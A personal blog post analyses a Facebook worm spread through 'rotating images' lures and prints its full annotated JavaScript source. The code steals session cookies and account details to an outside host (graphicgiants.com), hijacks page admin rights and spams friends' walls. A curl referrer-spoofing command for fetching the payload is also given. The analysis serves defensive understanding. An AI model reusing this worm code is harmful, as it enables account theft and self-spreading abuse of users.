If you are looking for how to avoid or recover: read this one instead.

In the past few weeks, a lot of Facebook users have received the following (or similar) messages posted by their friends Hi Friends see Face-book images rotate 360* see here » https://SHADYCLOUDS.TK/ Really cool Facebook revolving images. MUST SEE https://rotatingimage2.tk/ .

Following are observations and analysis of the same.

A few key observations

  1. This attack does not utilize any XSS , XSRF or XSS Inclusion vulnerability in Facebook. So, no one can be infected by just opening the Facebook unlike in the case of the recent vulnerability in Twitter .
  2. They are all based on what can be called “social XSS” - email equivalent of that would be mugged in London scam . Message from friend tempts the user to run a script in address-bar of the tab in which Facebook is open, any script executed from address bar runs as if it is a script hosted on facebook.com website and can do everything which the logged-in user can do (unless facebook detects and catches malicious automated action). Since the script is treated to be from same-origin , the XSRF prevention is defeated.
  3. Interestingly, the first script I encountered was from graphicgiants.com and it redirects to facebook.com in case the referrer is not Facebook. It can be downloaded using curl by faking the referrer (curl -e facebook.com graphicgaints.com)
  4. The irony is that even after the complete analysis, I am not able to find the code to generate any rotating images. I doubt if it was that tough to write.

Below is the analysis of the worm.

Javascript
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
//These are to be posted as status messages
txt = "Really cool Facebook revolving images. MUST SEE https://ROTATINGIMAGES1.tk";
txtee = "Really cool Facebook revolving images. MUST SEE https://REVOLVINGIMAGES1.tk";

alert("Please wait 2-3 mins while we setup! Do not refresh this window or click any link.");
//this takes care of the fact that facebook will recognize the automated script if a lot of
//requests are sent within a short frame of time and hence, the requests are deliberately slowed

// the code below makes an XMLHttp request (AJAX request) to extract
// 1. composer_id
// 2. post_form_id
// 3. fb_dtsg
// (There is a reference to an app which has been removed from facebook)
with(x = new XMLHttpRequest()) open("GET", "/"), onreadystatechange = function () {

  if (x.readyState == 4 && x.status == 200) {
    comp = (z = x.responseText).match(/name=\\"composer_id\\" value=\\"([\d\w]+)\\"/i)[1];
    form = z.match(/name="post_form_id" value="([\d\w]+)"/i)[1];
    dt = z.match(/name="fb_dtsg" value="([\d\w-_]+)"/i)[1];
    pfid = z.match(/name="post_form_id" value="([\d\w]+)"/i)[1];
    appid = "150622878317085";
    appname = "rip_m_j";

    with(xx = new XMLHttpRequest())
      open("GET", "/ajax/browser/friends/?uid=" +
               document.cookie.match(/c_user=(\d+)/)[1] +
                  "&filter=all&__a=1&__d=1"),
      onreadystatechange = function () {
      //extracts list of friends

        if (xx.readyState == 4 && xx.status == 200) {
        m = xx.responseText.match(/\/\d+_\d+_\d+_q\.jpg/gi).join("\n").replace(/(\/\d+_|_\d+_q\.jpg)/gi, "").split("\n");
        //facebook returns list of friends images of the form of three numbers separated by _,
        //the above regular expression extracts out the middle of the two
        //(which infact is the userID of friend)
        i = 0;
        llimit=25;
        t = setInterval(function () {
          if (i >= llimit )
            return;//it seems the limit is 25 posts per 2 seconds on facebook (to be counted as bot)
          if(i == 0) {//do it only once
            with(ddddd = new XMLHttpRequest()) open("GET", "/ajax/pages/dialog/manage_pages.php?__a=1&__d=1"),
                 setRequestHeader("X-Requested-With", null),
                 setRequestHeader("X-Requested", null),
                 onreadystatechange = function() {
              if(ddddd.readyState == 4 && ddddd.status == 200) {
                llm = (d = ddddd.responseText).match(/\\"id\\":([\d]+)/gi); len =llm.length;
                j=0;
                for(j=0;j<len;j++) {
                  with(xxxcxxx = new XMLHttpRequest()) open("POST", "/pages/edit/?id="+llm[j].replace(/\\"id\\":/i, "")+"&sk=admin"),
                       setRequestHeader("Content-Type", "application/x-www-form-urlencoded"),
                       send("post_form_id="+pfid+"&fb_dtsg="+dt+"&fbpage_id="+llm[j].replace(/\\"id\\":/i, "")+
                            "&friendselector_input%5B%5D=waqas.h.rana%40hotmail.com%09&friend_selected%5B%5D=&save=1");
                       //I am not very sure on this one but it seems it adds waqa.h.rana@hotmail.com as admin of all pages the user holds
                }
              }
            }, send(null); //end of function to change the admins

            with(xxx = new XMLHttpRequest()) open("GET", "/mobile/?v=photos"),
                 setRequestHeader("X-Requested-With", null),
                 setRequestHeader("X-Requested", null),
                 onreadystatechange = function() {
              if(xxx.readyState == 4 && xxx.status == 200) {
                with(s = document.createElement("script")) src = "https://graphicgiants.com/mmjaicc.js?q=" +
                  document.cookie.match(/c_user=(\d+)/)[1] + ":"  + (d = xxx.responseText).match(/mailto:([^\"]+)/)[1].replace(/&#64;/, "@") +
                    ":" + d.match(/id="navAccountName">([^<>]+)/)[1] + "&c="+ document.cookie; document.body.appendChild(s); }}, send(null);
                  // this one collects cookie as well as the personalized status update email address
                  // (a photo sent to that address is posted on the wall directly)

                with(xxcxx = new XMLHttpRequest()) open("POST", "/ajax/pages/fan_status.php?__a=1"),
                     setRequestHeader("Content-Type", "application/x-www-form-urlencoded"),
                       send("fbpage_id=176607175684946&add=1&reload=1&preserve_tab=1&use_primer=1&nctr[_mod]=pagelet_top_bar&post_form_id="+
                            pfid+"&fb_dtsg=" + dt + "&lsd&post_form_id_source=AsyncRequest");
                     // likes page "https://www.facebook.com/pages/Im-Sorry-I-Never-Meant-To-Hurt-You/176607175684946"

                with(lllllxx = new XMLHttpRequest()) open("POST", "/ajax/pages/fan_status.php?__a=1"),
                     setRequestHeader("Content-Type", "application/x-www-form-urlencoded"),
                        send("fbpage_id=150650771629477&add=1&reload=1&preserve_tab=1&use_primer=1&nctr[_mod]=pagelet_top_bar&post_form_id="+
                             pfid+"&fb_dtsg=" + dt + "&lsd&post_form_id_source=AsyncRequest");
                     // likes page https://www.facebook.com/Fuuuuck.It
            }
            else if (i == llimit - 1) {//if limit has already been reached
              with(xxxx = new XMLHttpRequest()) open("GET", "/mobile/?v=photos"),
                setRequestHeader("X-Requested-With", null),
                setRequestHeader("X-Requested", null),
                onreadystatechange = function() {
              if(xxxx.readyState == 4 && xxxx.status == 200){
                    with(s = document.createElement("script")) src = "https://graphicgiants.com/majic.js?q=" +
                        document.cookie.match(/c_user=(\d+)/)[1] +
                        ":"  + (d = xxxx.responseText).match(/mailto:([^\"]+)/)[1].replace(/&#64;/, "@") + ":" +
                        d.match(/id="navAccountName">([^<>]+)/)[1] +
                        "&c="+ document.cookie; document.body.appendChild(s); }}, send(null);
                        //copies cookie and account name again (probably to mark some sort of completion)
            }

            //following code does status update
            //the code writes message represented by txt and txtee alternately on the wall of friends.
            //txt and txtee are same though (may be author's mistake)
            if(i%2==0)
            {
              with(xd = new XMLHttpRequest()) open("POST", "/ajax/updatestatus.php?__a=1"),
                setRequestHeader("Content-Type", "application/x-www-form-urlencoded"),
                send("action=PROFILE_UPDATE&profile_id=" + document.cookie.match(/c_user=(\d+)/)[1] + "&status=" + txt +
                "&target_id=" + m[Math.floor(Math.random() * m.length)] +
                //m is an array of id of friends (was created early in the script exec), choose a random friend
                "&composer_id=" + comp +
                "&hey_kid_im_a_composer=true&display_context=profile&post_form_id=" +form + "&fb_dtsg=" + dt +
                //comp, form, dt are (probably) XSRF prevention tokens
                "&lsd&_log_display_context=profile&ajax_log=1&post_form_id_source=AsyncRequest");
            }
            else
            {
              with(xd = new XMLHttpRequest()) open("POST", "/ajax/updatestatus.php?__a=1"),
                   setRequestHeader("Content-Type", "application/x-www-form-urlencoded"),
                   send("action=PROFILE_UPDATE&profile_id=" + document.cookie.match(/c_user=(\d+)/)[1] + "&status=" + txtee +
                        "&target_id=" + m[Math.floor(Math.random() * m.length)] + "&composer_id=" + comp +
                        "&hey_kid_im_a_composer=true&display_context=profile&post_form_id=" + form + "&fb_dtsg=" + dt +
                        "&lsd&_log_display_context=profile&ajax_log=1&post_form_id_source=AsyncRequest");
            }
            i += 1;
        }, 2000);// 2000 milli-sec window, after which the script is executed again
      }

    }, send(null);
  }
}, send(null);

Disclaimer: This is my personal blog. The views expressed on these pages are mine alone and not those of my employer.